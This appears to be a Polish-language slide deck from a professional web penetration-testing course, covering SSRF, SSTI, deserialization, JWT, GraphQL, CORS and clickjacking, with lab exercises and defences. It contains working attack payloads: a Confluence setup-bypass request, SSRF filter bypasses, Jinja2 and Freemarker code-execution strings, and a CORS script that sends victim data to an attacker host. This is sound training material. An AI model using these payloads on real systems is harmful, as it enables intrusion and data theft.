Zaawansowane bezpieczeństwo aplikacji webowych

kamil.jarosinski@securitum.pl

Kamil Jarosiński

pentester i trener w Securitum: web, iot, cloud, mobile

prelegent MSHP i Cyberstarter

autor Wprowadzenie do bezpieczeństwa IT tom 2

szkolenia.sekurak.pl

securitum.pl

hackingparty.pl

ksiazka.sekurak.pl

Sekurak.Academy

> 10 150 uczestników

Wszystkie pokazane przykłady służą wyłącznie celom edukacyjnym :-)

To szkolenie stanowi rozwinięcie "podstawowego" szkolenia z bezpieczeństwa aplikacji WWW, opisując bardziej zaawansowane techniki wykorzystywane w czasie audytów

Notatki ze szkolenia można znaleźć pod adresem

https://notepad.lab-08.securitum.net/

 

Kwestie organizacyjne

Ramy czasowe:

Dzień 1: 09:00 - 16:00

Dzień 2: 09:00 - 16:00

Krótka przerwa co 60 minut

60 min przerwa lunchowa o godzinie 12:30

Agenda

Czym są pentesty? Wprowadzenie i przydatne dokumenty

Przygotowanie środowiska do testowania bezpieczeństwa aplikacji webowych

Rozgrzewka - ciekawe i istotne błędy w aplikacjach webowych w ostatnich latach

Agenda

Server-Side Request Forgery

Pasywny i aktywny rekonesans - przypomnienie

Server-Side Template Injection

Agenda

Proces uwierzytelnienia - krytyczny punkt w aplikacjach webowych

Niebezpieczna (de)serializacja danych

Mechanizmy przeglądarkowe służące do zabezpieczania aplikacji webowych i ich użytkowników

Agenda

Wykorzystanie popularnych błędów w aplikacjach webowych (vulnerability chaining)

GraphQL

Ale na początek - konfiguracja środowiska

Burp to aplikacja typu proxy, przechwytująca ruch HTTP pomiędzy komputerem a aplikacją webową

 

Stanowi branżowy standard, w testowaniu bezpieczeństwa aplikacji webowych i REST API

Domyślnie Burp nasłuchuje na porcie 8080

Po włączeniu proxy, należy skonfigurować przeglądarkę

Przydatne funkcjonalności & wtyczki Burpa

Czym są testy penetracyjne?

Test penetracyjny to sposób weryfikacji bezpieczeństwa systemu (w tym przypadku: aplikacji webowej) mający symulować realne działania napastników.

Testy penetracyjne:

  • Wskazują wektory ataku,
  • Wskazują podatności,
  • Pomagają oszacować ryzyko ataku,
  • Pomagają oszacować koszty związane z wdrożeniem mechanizmów ochronnych.

Typy pentestów:

Blackbox

Graybox

Whitebox

Etapy pentestów

  • Wstępne rozpoznanie (rekonesans)
  • Mapowanie aplikacji
  • Atak
  • Raport
  • Opcjonalnie: retest

Jakie błędy?

 

Przykładowe błędy można zobaczyć w naszym opublikowanym raporcie z testów bezpieczeństwa

Tematykę związaną z szacowaniem bezpieczeństwa aplikacji webowych warto rozpocząć od:

 

Chciał(a)bym poszerzyć wiedzę w ofensywnym bezpieczeństwie aplikacji webowych
  •  Nasze książki: "Bezpieczeństwo aplikacji webowych" i "Wstęp do bezpieczeństwa IT" ;-)
    https://sklep.securitum.pl/ksiazka-bezpieczenstwo-aplikacji-webowych
  •  Platformy do nauki, i CTF:
    HackTheBox | PentesterLab | Vulnhub

Rekonesans pasywny - przypomnienie

Przed rozpoczęciem wykonywania aktywnych czynności, warto przeprowadzić rekonesans pasywny.

Jest on również często przydatny w omijaniu systemów WAF.

 

Zgodnie z założeniami, informacje pozyskiwane są bez wchodzenia w interakcję z atakowanym serwisem.

Rekonesans aktywny

Co uruchomione jest na hoście poza samą aplikacją webową?

Czy na serwerze nie pozostały zostawione inne, np. domyślne pliki?

Stan bezpieczeństwa popularnych komponentów aplikacji webowych

Interesujące błędy ostatnich lat & warmup

Włącz sobie tryb admina

Confluence login bypass

CVE-2023-22518

CVE-2023-22515

CVE-2023-22515

Aplikacja podczas pierwszego uruchomienia pozwala na utworzenie konta superadmina, i wprowadzenie innych zmian

Po tym, tryb "setup" zostaje wyłączony

A co jeśli możemy włączyć ten tryb ponownie, wysyłając 1 zapytanie ;-)?

https://blog.s1r1us.ninja/research/brokenconflu

Tldr

Po zakończeniu procesu konfiguracji, endpointy /setup/* pozwalające na konfigurację Confluence, zostają zablokowane

Przykład:

/setup/setupdb.action?dbConfigInfo.databaseType=postgresql

Tldr

Parametry przekazane do Confluence:

/sekurak.action?jeden.dwa=wtf

Są zinterpretowane jako:

getJeden().setDwa()="wtf"

Tldr

Aby ustawić tryb setup, należy wywołać metodę:

getBootstrapStatusProvider().getApplicationConfig().
setSetupComplete(false);

W tym celu, wystarczy przesłać żądanie do dostępnego cały czas endpointu /server-info.action:

 

/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false;

Joomla

Wyciek danych logowania do bazy danych

CVE-2023-23752

Wersja Joomla?

Recon

Dostęp do MySQL Joomla

Co z kontem systemadmin? Kradzież danych użytkownika poprzez modyfikację kodu źródłowego

Najgłośniejszy błąd od czasów Eternalblue

CVE-2021-44228

Rozgrzewka - powtórka z Burpa

1. Użyj rozszeżenia log4shell-everywhere

https://log4j.lab-08.securitum.net

2. Wstrzyknij złośliwy payload Log4shell, powodujący interakcję DNS z collaboratorem

3. Spróbuj wykonać RCE na serwerze, tworząc plik w folderze /tmp/

SSRF - Server-Side Request Forgery

Z podatnością Server-Side Request Forgery mamy styczność, gdy aplikacja pozwala nam na podanie adresu URL do pobrania jakiegoś zasobu z sieci.

Typowy przykład to pobranie obrazka z zewnętrznego źródła.

Wówczas możemy spróbować wykorzystać ten fakt do pobrania danych z sieci lokalnej, w której działa aplikacja. Np.

  • http://127.0.0.1:8983/
  • http://192.168.10.10/changeDns?dns=8.8.8.8

 

Aplikacje często próbują się bronić przed atakiem, stosując kilka typowych filtrów. Np. wykrywają czy nazwa hosta w adresie URL to 127.0.0.1.

 

Jednakże wszystkie poniższe adresy też wskazują na 127.0.0.1!

  • http://127.1/
  • http://0x7f.0.0.1
  • http://localhost.me
  • http://2130706433
  • http://0177.0.1

 

Kolejna przydatna sztuczka: jeśli aplikacja pozwala na wpisanie własnego adresu URL, spróbujmy użyć protokołu file:///.

file:///etc/passwd daje nam path traversal!

Jeśli aplikacja oczekuje pliku obrazka, może sprawdzać, czy adres URL kończy się na ".jpg".

Wówczas możemy nadużyć znaków # oraz ? w adresie URL, by dostać się do plików o innych rozszerzeniach.

  • http://192.168.10.5/config.xml?.jpg
  • file:///etc/passwd#.jpg

Ćwiczenie ;-)

https://ships.lab-08.securitum.net

1. Znajdź w aplikacji podatny parametr 

2. Pobierz zawartość pliku /etc/passwd za pomocą SSRF

3.  Za pomocą XXE i SSRF spróbuj połączyć się z siecią lokalną, np. hostem o adresie: database1

Powiedz, czy jest uruchomiona jakaś baza danych?

SSRF tips&trickz

Aby ułatwić sobie wyszukiwanie błędów typu SSRF, można zaimportować do Burpa dodatkową wtyczkę -

Collaborator Everywhere

Gdy jest ona włączona i odwiedzana aplikacja została dodana do listy "targets", to domena collaboratora zostanie wstrzyknięta do każdego nagłówka HTTP w zapytaniu (i zostaną dodane również inne nagłówki)

Bardziej zaawansowane przykłady wykorzystania błędu

Błąd SSRF można bardzo często łączyć z innymi, w tzw. kill-chain

Takie zachowanie, pozwala na zwiększenie poziomu ryzyka błędu, np. z "LOW" do "CRITICAL" ;-)

Przykład 1. Open redirect + SSRF

Błąd Open Redirect pozwala na przekierowanie użytkownika odwiedzającego stronę A, do strony B

Samodzielnie, mało istotny błąd - przydatny np. w phishingu

PoC:

https://meet.google.com/linkredirect?dest=https://sekurak.pl/

Collaborator Everywhere również przydaje się w wyszukiwaniu Open Redirect :)

Przykład 1. Open redirect + SSRF

W połączeniu z błędem SSRF, może jednak stanowić ciekawą i praktyczną kombinację 

Przykład 2. SSRF + Shellshock

SSRF samo w sobie nie pozwala na RCE

Natomiast, znajdując inną podatność w lokalnej sieci lub na lokalnym hoście, czasami możliwe jest wykonanie kodu na (często innym, lokalnym) serwerze

Przykład - Shellshock

źródło: https://www.infosecarticles.com/exploiting-shellshock-vulnerability/

Metody obrony

 

Propozycje do obrony przed SSRF:

  • Zadbać o to, by nie mieć innych podatności pozwalających wykonać atak SSRF (np. XXE).
  • Jeśli tego typu funkcjonalność jest pożądana, należy weryfikować protokół, z którego pobierane są pliki (jedyne dopuszczalne: http i https).

Metody obrony

 

 

  • Najlepiej wykonywać takie zapytania przez serwer proxy umieszczony poza infrastrukturą aplikacji.
  • Można również zablokować na firewallu sieciowym możliwość generowania pakietów wychodzących do hostów, do których nie powinna być wykonywana komunikacja.

SSTI - Server Side Template Injection

Aplikacje internetowe często wykorzystują systemy szablonów, takie jak Twig i FreeMarker, do osadzania dynamicznej zawartości na stronach internetowych (i np. treściach wiadomości - email)


$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );

Na pierwszy rzut oka, błąd ten może zostać pomylony z Reflected XSS

Błąd Server-Side Template Injection (SSTI) występuje, gdy aplikacja niewłaściwie obsługuje dynamiczne szablony serwerowe, umożliwiając na wstrzyknięcie komendy silnika template, która zostanie wykonana na serwerze

$output = $twig->render("Dear " . $_GET['name']);


Przykład podatnego kodu:

http://sekurak.pl/?name=${3*7}


Podstawowe sprawdzenie, czy wprowadzone dane trafiają do silnika Twig (PHP)

Jeżeli zwrócony zostanie wynik:

 

Dear 21

To oznacza, że (prawdopodobnie) mamy SSTI

Mamy tu do czynienia zasadniczo z wykonaniem kodu po stronie serwera w piaskownicy.

W zależności od użytego silnika szablonów może być możliwe opuszczenie piaskownicy i wykonanie dowolnego kodu.

Nie zadziała w Jinja (Python). Tutaj payload to:

     {{4*2}}


Biblioteki template korzystają z różnej składni / języka szablonowania

Przykładowo, osadzenie zmiennej w Freemarker:

     ${4*2}

Uniwersalny payload który wyświetla informacje o aktualnej aplikacji

     {{self}}


W perspektywie blackbox (gdy nie wiemy jaki/ czy działa serwer template), konieczne jest podjęcie kilku czynności

1. Czy wykorzystywany jest silnik template? 

2. Jaki to silnik?

3. Exploitacja

detekcja

identyfikacja

Sprawdzenie silnika template, polega na wykorzystaniu różnych payloadów specyficznych dla danego interpretera

Sprawdzenie silnika template, polega na wykorzystaniu różnych payloadów specyficznych dla danego interpretera

{{7*7}} = 49
 

Sprawdźmy zachowanie dla silnika...

${7*7} = ${7*7}

{{7*'7'}} = 49

{{1/0}} = Error

 

{{foobar}} = Nic

ĆWICZENIE

1. Otwórz aplikację https://ssti.lab-08.securitum.net/​

2. Spróbuj wykonać podstawowe operacje arytmetyczne, wyszukując błąd. Zidentyfikuj silnik template :)

Niektóre silniki template wykorzystują tzw. "sandbox", do wyizolowania środowiska template, od środowiska języka programistycznego

Przykładowe silniki z sandboxem:

Jinja2 (Python)

Twig (PHP)

Freemarker (Java)

Aby "wyskoczyć" z sandboxu konieczny jest "powrót" do pełnego środowiska danego języka;

Aby to zrobić, należy wykorzystać obiekty, które pochodzą ze środowiska innego niż piaskownica, ale są dostępne z poziomu piaskownicy.

Przykład dla Jinja2

1. Zawsze dostępne są obiekty:

[]
''
()
dict
config
request

2. Z nich, możemy odwołać się do "głównej" klasy, i następnie do subklas tego obiektu (metoda __subclasses__)

np.

 {{dict.__subclasses__}}
{{''.__class__.__base__.__subclasses__()}}

3. I finalnie, odwołać się do środowiska Python...

{{ ''.__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

Exploitacja polega na sprawdzeniu jakie klasy silników template są możliwe do wykonania (lub wykorzystaniu gotowych wordlist ;-) )

Przykład dokumentacji - Freemarker (Java)

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

ĆWICZENIE

1. Sprawdź, funkcjonalność wyszukiwania statków jest podatna na SSTI

2. Spróbuj znaleźć informację o wykorzystanym silniku template

(podpowiedź - wykorzystaj payloady, pozwalające na enumerację, i wykorzystaj Google ;-). )

 

3. Poszukaj informacji (dokumentacja, google), jak wykonać RCE ;-) i wyświetl wynik komendy "id"

(podpowiedź: wyszukaj wordlist ułatwiających exploitację SSTI w tym języku, i wykorzystaj intrudera)

https://ships.lab-08.securitum.net

ĆWICZENIE

1. Znajdź SSTI, zidentyfikuj silnik, i wykonaj RCE :-)

https://ssti.lab-08.securitum.net

Atak może zostać zautomatyzowany - tplmap

https://github.com/epinna/tplmap

Zabezpieczenie przed SSTI

2. Filtrowanie i walidacja danych przekazanych przez użytkownika

3.  Wykorzystuj silniki template zawierające sandbox

4. Korzystaj z najnowszych wersji silników template

W których znane sposoby na wyskoczenie z sandboxu zostały naprawione

1. Nie pozwalaj użytkownikowi modyfikować template...

ale jeśli tego nie da się uniknąć, to:

(Nie)bezpieczna (de)serializacja

Serializacja to proces konwertowania złożonych struktur danych, takich jak obiekty, na „bardziej płaski” format, który można wysyłać i odbierać jako sekwencyjny strumień bajtów.
Znacznie ułatwia, między innymi, przesyłanie złożonych struktur do/ z aplikacji

Co to jest serializacja?

Deserializacja to proces odwrotny, czyli "odzyskania" wcześniej zserializowanych danych, przez serwer aplikacji

źródło:  https://portswigger.net/web-security/deserialization

Problem pojawia się wtedy, gdy użytkownik może kontrolować dane które zostaną zdeserializowane. 

 

Potencjalnie umożliwia to atakującemu manipulowanie serializowanymi obiektami w celu przekazania szkodliwych danych do kodu aplikacji.

 

Możliwe jest nawet zastąpienie serializowanego obiektu obiektem zupełnie innej klasy.

Przykład 1 - deserializacja w PHP - podmiana jego zawartości

W zależności od wykorzystanego języka aplikacji, zserializowane dane wyglądają inaczej.

W przypadku PHP, może to wyglądać następująco:

 

 

O:4:"User":2{

s:5:"login":s:7:"sekurak";

s:5:"email":s:18:"sekurak@sekurak.pl";

}

I przesłane do aplikacji, np. zakodowane w base64...

Przykład 2 - wpływanie na funkcjonalności aplikacji

W przypadku wykorzystania niebezpiecznej deserializacji, możliwe jest na przykład wpływanie na funkcjonalności aplikacji, zmieniając właściwości obiektu

Na przykład - w wyniku podmiany zserializowanych parametrów, możliwa jest zmiana danych innych użytkowników

Wstrzykiwanie dowolnego obiektu

W programowaniu obiektowym metody dostępne dla obiektu są określane na podstawie jego klasy.

Jeżeli możemy manipulować klasą obiektu przekazywaną jako serializowane dane, może mieć wpływ na to, jaki kod zostanie wykonany podczas deserializacji.

Wstrzykiwanie dowolnego obiektu

To powoduje, że możliwe jest wysłanie dowolnego obiektu, który zostanie zdeserializowany - pozwalając na odwołanie się do dowolnej klasy aplikacji ;-)

Czasami również okazuje się, że nie ma znaczenia, że aplikacja akceptuje inny typ obiektu niż przesłany- złośliwy kod może zostać wykonany przed przetworzeniem go przez logikę aplikacji

(może spowodować wyjątek w logice aplikacji, ale do tego czasu instancja szkodliwego obiektu będzie już utworzona.)

Przykład 2 - Prawdziwy przykład błędu, łączącego problem zdradzenia klucza szyfrującego ciasteczko i niebezpiecznej deserializacji

Krok 1. Domyślna instalacja biblioteki web2py, zawiera stronę z przykładami

Co to oznacza?

Krok 2. Ciasteczko sesyjne budowane jest z użyciem biblioteki do serializacji Pickle

Krok 3. Sprawdźmy, jak budowane jest ciasteczko, i stwórzmy swoje - specjalne ;-)

Funkcja, która zostanie wykonana na serwerze po deserializacji ciasteczka

web2py wykorzystuje funkcję gluon.utils.secure_dumps do zbudowania ciasteczka

i zaszyfrowania kluczem, który jest nam znany :)

 

Ćwiczenie

1. Zaloguj się via ssh (macos/ Linux - w terminalu), Windows - putty, do adresu lab-08.securitum.net

login: lab

hasło: w notatce

2. Wejdź do katalogu web2py i skopiuj plik EXPLOIT.py do swojego pliku, aby nie popsuć zabawy innym ;-)

3. Przeanalizuj kod źródłowy exploita, i spróbuj zmodyfikować go, aby wywołać komendę wymuszającą połączenie z Twoim collaboratorem - lub inne RCE :-).

cp /tmp/EXPLOIT.py mojakopia.py

jeżeli nie możesz (brak putty) - daj proszę znać!

Ćwiczenie

4. Skompiluj payload, generując ciasteczko

python2.7 mojakopia.py

5. Odwiedź podatną stronę examples w przeglądarce

6. Wstrzyknij własną wartość ciasteczka do ciasteczka

 session_data_examples=

https://deser.lab-08.securitum.net/examples/simple_examples/status

Gadgety ;-)

Czy macie pomysł, co to jest "gadget" w świecie pentestów web?

 

(podpowiedź: podobny mechanizm był wykorzystywany już podczas exploitacji SSTI)

„Gadżet” to fragment kodu znajdujący się w aplikacji, który może pomóc atakującemu w exploitacji.

Pojedynczy gadżet może bezpośrednio nie powodować niczego szkodliwego; jednak celem atakującego może być po prostu wywołanie metody, która przekaże dane wejściowe do innego gadżetu.

W skrócie:

Mamy możliwość odwołania się do "łańcucha klas" we frameworku aplikacji, w celu wywołania "złośliwej" klasy

Lub inaczej:

Wyszukujemy w wykorzystywanym frameworku aplikacji funkcji, która może wywołać inną, niebezpieczną

Pojedyncze gadżety można łączyć, w celu utworzenia "łańcucha gadżetów"...

...co bez dodatkowych narzędzi może być bardzo skomplikowane.

Na szczęście, mamy do tego narzędzia

Przykład 555 - Ysoserial

Ysoserial to biblioteka zawierająca pre-budowane łańcuchy gadgetów w różnych frameworkach/ bibliotekach wykorzystywanych w aplikacjach Java

Z jej użyciem, możliwe jest utworzenie zserializowanego gadżetu, który następnie może zostać przesłany do podatnej aplikacji

co przy odrobinie szczęścia - pozwoli na wykonanie na serwerze dowolnej komendy ;-)

 

https://github.com/frohoff/ysoserial/tree/master

Deserializacja Java również może zostać ułatwiona z użyciem wtyczki do Burpa

"Java Deserialization Scanner"

Przykład 3 - Gadgety PHP - PHPGGC

PHPGGC to biblioteka podobna do Java - z tą różnicą, że zawiera zestaw gadgetów do PHP :-)

https://github.com/ambionics/phpggc

Jak zabezpieczyć się przed tym atakiem?

1. Oddawanie użytkownikowi kontroli nad danymi, które są następnie deserializowane, nie powinno mieć miejsca, ze względu na mnogość exploitów i zagrożeń

2. Jeżeli mimo wszystko jest taka konieczność, to warto wdrożyć podpisywanie zserializowanych danych (np. hmac)

3. Należy pamiętać o konieczności weryfikacji podpisu zanim nastąpi deserializacja danych!

Uwierzytelnienie i autoryzacja

Czym się różni uwierzytelnienie (ang. authentication) od autoryzacji (ang. authorization)?

Klasyczne pytanie - przypominajka ;-)

Uwierzytelnienie - potwierdzenie swojej tożsamości

 

Autoryzacja - nadanie użytkownikowi dostępu do danego zasobu

Typowe błędy w uwierzytelnieniu

Generowanie zbyt słabych ciasteczek sesyjnych

Np.

Set-Cookie: PHPSESSID=auekvo38sf293223
Set-Cookie: PHPSESSID=auekvo38sf293224
Set-Cookie: PHPSESSID=auekvo38sf293225

 

Siłę ciastek sesyjnych możemy sprawdzić modułem Sequencer w Burpie.

Błędy typu session fixation

 

Przykładowo:

Możliwość ustawienia własnego identyfikatora sesyjnego

 

Brak regeneracji identyfikatora sesyjnego po wylogowaniu i ponownym zalogowaniu

Koszmar każdego audytu LAN, czyli pozostawianie domyślnych użytkowników o słabych hasłach ;-)

 

Np. test/test, admin/admin, admin/Test1234 itp.

Brak ochrony przed brute-force

Np. możliwość zgadywania hasła dla danego użytkownika nieskończoną liczbę razy (Burp Intruder)

Możliwość logowania się równolegle na dowolną liczbę sesji i brak możliwości weryfikacji kiedy i z jakich adresów IP następowały wcześniejsze logowania na konto użytkownika.

Typowe błędy w mechanizmie autoryzacji

Najczęściej spotykany przykład: na stronie sklepu internetowego pobieramy fakturę do swojego zakupu. Zostaje ona wygenerowana pod linkiem:

 

http://example.com/faktura?id=1337

Okazuje się, że odwołując się do innego identyfikatora, możemy pozyskać dostęp do danych innych użytkowników ;-)

 

http://example.com/faktura?id=1335

Testy takich mechanizmów sprowadzają się więc do przejrzenia wszystkich zapytań, w których występują dowolne identyfikatory i próby podmiany ich na inne.

Innym częstym problemem autoryzacyjnym jest bezpośredni dostęp do plików, które powinny być schowane za sprawdzeniem autoryzacyjnym.

Np. nie mamy dostępu do
/pobierz-umowe.php?id=1...

Ale mamy do /umowy/1.pdf ;-)

Kolejny przykład, to atak słownikowy (lub odgadnięcie) endpointów aplikacji.

 

Np. widać, że aplikacja łączy się z endpointem:

/get-user?id=44

 

Zgadujemy więc, że istnieje endpoint:

/delete-user?id=44

Ćwiczenie 1 - rozgrzewka

http://ships.lab-08.securitum.net

1. Odczytaj dane statków innych użytkowników

2. Zweryfikuj czy można zmienić hasło innemu użytkownikowi (testować dla identyfikatorów od 2-9)

3. Usuń statek innego użytkownika 

Aby zabezpieczyć się przed problemami autoryzacyjnymi, należy pamiętać o kilku podstawowych kwestiach:

 

 

Czy użytkownik jest zalogowany ;-)?

Czy użytkownik jest na odpowiednim poziomie uprawnień?

 

Czy użytkownik jest uprawniony do używania danej funkcjonalności?

Powrót do mechanizmów uwierzytelnienia:

Tokeny JWT

Najczęściej wykorzystywane mechanizmy do uwierzytelnienia to wykorzystanie ciasteczek sesyjnych lub tokenów JWT, przesyłanych w nagłówku Authorization: Bearer

Co to jest i jak zbudowany jest token JWT?

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzAxODkxODAxNjcyLCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjE1OyBydjoxMjAuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMjAuMCIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzAxODkxODAyfQ.BNzs4_X2X4UmFjkPImzAGSQj4WMD5daXCfl0afeU_bU

Trzy sekcje oddzielone kropkami:

Sekcja 1. informacja o wykorzystanym algorytmie do podpisania danych

Po odkodowaniu z base64url:

 

{"typ":"JWT","alg":"HS256"}

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzAxODkxODAxNjcyLCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjE1OyBydjoxMjAuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMjAuMCIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzAxODkxODAyfQ.BNzs4_X2X4UmFjkPImzAGSQj4WMD5daXCfl0afeU_bU

Trzy sekcje oddzielone kropkami:

Sekcja 2. payload (dane o użytkowniku i jego uprawnieniach)

Po odkodowaniu z base64url:

 

{"auth":1701891801672,"agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0","role":"user","iat":1701891802}

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzAxODkxODAxNjcyLCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjE1OyBydjoxMjAuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMjAuMCIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzAxODkxODAyfQ.BNzs4_X2X4UmFjkPImzAGSQj4WMD5daXCfl0afeU_bU

Trzy sekcje oddzielone kropkami:

Sekcja 3. podpis wygenerowany z użyciem algorytmu z sekcji 1

Po odkodowaniu z base64url:

 

BNzs4__eøRacò&̒B>0>]ipŸ—FŸy_bU

Podpis gwarantuje integralność danych przesyłanych w drugiej sekcji...

... chyba, że serwer akceptuje szyfrowanie z algorytmem o nazwie "none" ;-)

Przykład błędu w implementacji

{"typ":"JWT","alg":"HS256"}

w uproszczeniu: "Na danych, które mają być podpisane i na tajnym kluczu, dwukrotnie wykonane zostaje obliczenie SHA256"

Inny problem z JWT -

siła algorytmu służącego do podpisania tokenu

HS256 = HMAC-SHA256

Podpis = SHA256( SHA256 (payload + sekret) + sekret)

Jeżeli serwer korzysta z HS256, to możliwe może być odzyskanie sekretu - podpisanie dowolnych danych w tokenie :-)

Ćwiczenie 2 

http://jwt.lab-08.securitum.net

Zaloguj się jako użytkownik "admin", nie znając jego hasła

Środek zapobiegawczy 

 

Należy wyłączyć obsługę algorytmu "none" w bibliotece parsującej JWT, alternatywnie napisać własny kod weryfikujący użyty algorytm

Wykorzystać odpowiednio długi i losowy klucz szyfrujący (min. 256 bit)

Więcej problemów z JWT opisaliśmy w mini-rozdziale na Sekuraku:

https://sekurak.pl/jwt-security-ebook.pdf

GraphQL - alternatywa dla REST API?

GraphQL to język oraz środowisko wykonawcze stworzone przez Facebook.

Jest to alternatywna technologia do interakcji między klientem a serwerem w aplikacjach webowych, służąca do pobierania oraz manipulacji danymi.

Klient definiuje strukturę danych, które chce pobrać, a serwer zwraca dokładnie te dane w odpowiedzi na zapytanie.

Aby sprawdzić czy aplikacja korzysta z GraphQL, należy sprawdzić czy nie następują odwołania do ścieżki:

  • /graphql
  • /graphiql
  • /graph
  • /explorer
  • /graphql.php
  • /graph

Wymiana danych z bazą następuje poprzez przesłanie do tej ścieżki zapytania POST, zawierającego odpowiednią strukturę danych w body 

{"variables": {"scheme": "http", "path": "/", "port": 80, "host": "aaa.com"},

"query": 
"mutation ImportPaste($host: String!, $port: Int!, $path: String!, $scheme: String!) 
{\n    importPaste(host: $host, port: $port, path: $path, scheme: $scheme) {\n        result\n    }\n}"}

GraphQL akceptuje trzy podstawowe typy operacji:

Query: Operacja służąca do pobierania danych z serwera. Zapytanie to odzwierciedla strukturę danych, jakie klient chce otrzymać.

Mutation: Operacja zmieniająca stan danych na serwerze. Pozwala na modyfikację danych, dodawanie nowych, usuwanie istniejących itp.

Subscription: Mechanizm pozwalający klientowi subskrybować zmiany danych na serwerze w czasie rzeczywistym. Pozwala na otrzymywanie asynchronicznych powiadomień o zmianach.

GraphQL wykorzystuje schemat, który opisuje strukturę danych dostępnych dla klientów oraz ich typy

Schemat ten definiuje jakie pola są dostępne dla zapytań i jakie typy danych te pola zwracają.

Z perspektywy atakującego, pozyskanie informacji o budowie struktury danych GraphQL może być szczególnie interesujące - pozwala na enumerację wszystkich akceptowanych zapytań

Można traktować to jako alternatywę dla dokumentacji Swagger/ Postman

Problem 1.

Enumeracja wszystkich metod GraphQL możliwa jest poprzez przesłanie tzw. Introspection Query

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/queries/introspection_query.txt

https://graphql-kit.com/graphql-voyager/

Problem 2.

Nawet jeśli Introspection Query nie zawsze zadziała, to możliwe, że włączone jest tzw. Field Suggestions (podpowiedzi)

zapytanie o niepoprawne query

aplikacja sama sugeruje, co możemy chcieć wywołać

Problem 3.

Jeżeli znajdziemy możliwość zapętlenia wywołania funkcji (lub wywołania jednej wielokrotnie), to łatwo można zrobić atak DoS

Obiekt "pastes" może odwołać się do "owner", a obiekt "owner" do "pastes" - i tak bez końca...

Problem 4.

GraphQL jest podatne na wszystkie standardowe błędy znane ze świata aplikacji webowych i API

Prosty przykład - przekazanie własnych danych do zmiennej, pozwala na wykonanie sql injection

Ćwiczenie 

https://graphql.lab-08.securitum.net

1. Z użyciem graphQL voyagera, wczytaj Introspection query aby zenumerować query i mutacje

2. Wykorzystując wiedzę z pierwszego dnia szkolenia, znajdź w aplikacji miejsce podatne na SSRF

3. W Intruderze sprawdź sieć 192.168.X.X z typowymi portami HTTP i zdobądź flagę

Nagłówki zwiększające bezpieczeństwo przeglądarki

Pytanie kontrolne: Na czym polega

Same Origin Policy (SOP)?

Same Origin Policy (SOP)

Jeden z głównych mechanizmów stanowiących podstawę bezpieczeństwa przeglądarek i użytkownika - rok 1995

Przeglądarka pozwala skryptom z jednego kontekstu JavaScriptu dostać się do drzewa DOM innego kontekstu JavaScriptu wtedy i tylko wtedy, gdy oba konteksty znajdują się w tym samym originie

W skrócie: skrypt uruchomiony na jednej stronie internetowej nie ma domyślnie dostępu do zasobów innej strony internetowej, co pomaga zapobiec atakom typu cross-site scripting (XSS) oraz ochronić prywatność użytkowników

Jeżeli jednak z jakiegoś powodu, chcemy pozwolić innej domenie na dostęp do danych naszej aplikacji, można wykorzystać mechanizm Cross-Origin Resource Sharing (CORS)

 

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://test.com
Access-Control-Allow-Credentials: true
Cache-Control: max-age=300, s-maxage=300, public
Date: Wed, 06 Dec 2023 01:27:55 GMT

Pozwalamy zaufanej aplikacji (https://test.com) na dostęp do danych naszej

Oraz na wysyłanie ciasteczek sesyjnych w zapytaniach międzydomenowych

Czasami, gdy lista aplikacji którym pozwalamy na komunikację z naszą aplikacją jest długa, można próbować drogi na skróty...

 

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Cache-Control: max-age=300, s-maxage=300, public
Date: Wed, 06 Dec 2023 01:27:55 GMT
GET /sensitive-data HTTP/1.1 Host: podatna-aplikacja.com
Origin: https://evil.com
Cookie: sessionid=...

Jeżeli do zapytania HTTP zostanie dodany nagłówek "Origin" z pewną domeną...

...to jej nazwa zostaje automatycznie dodana do wartości nagłówka Access-Control-Allow-Origin

Ponieważ aplikacja odbija wartość domeny w nagłówku Access-Control-Allow-Origin, oznacza to, że każda domena może uzyskać dostęp do podatnej aplikacji.

 

Jeśli odpowiedź zawiera jakiekolwiek wrażliwe informacje, takie jak klucz API lub token CSRF, można je odzyskać, umieszczając prosty skrypt na swojej stronie internetowej:

 

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true); 
req.withCredentials = true; 
req.send(); 

function reqListener() { 
location='//malicious-website.com/log?key='+this.responseText; };

 

Jak zabezpieczyć aplikację?

1. Pamiętaj o poprawnej walidacji wartości nagłówka Origin

2. Akceptuj wyłącznie zaufane domeny

Clickjacking

"Przecież nie klikałem/am tej subskrypcji!"

Clickjacking to atak polegający na wczytaniu w ramce niewidzialnej strony, otwartej na innej

Użytkownik zostaje nakłoniony do kliknięcia w pewien przycisk na "widocznej" stronie...

...W tym miejscu, w którym na "niewidocznej" znajduje się przycisk wykonujący jakąś akcję

Clickjacking

źródło: https://portswigger.net/web-security/clickjacking

Od strony technicznej, atak ten polega na nakłonieniu ofiary do otwarcia strony (podobnie jak w przypadku CSRF);

Strona docelowa przykryta jest stroną wczytaną w iframe (opacity 0%), na której akcję chcemy wywołać

Użytkownik, myśląc że klika prawidłowy przycisk - wywołuje akcję na złej stronie

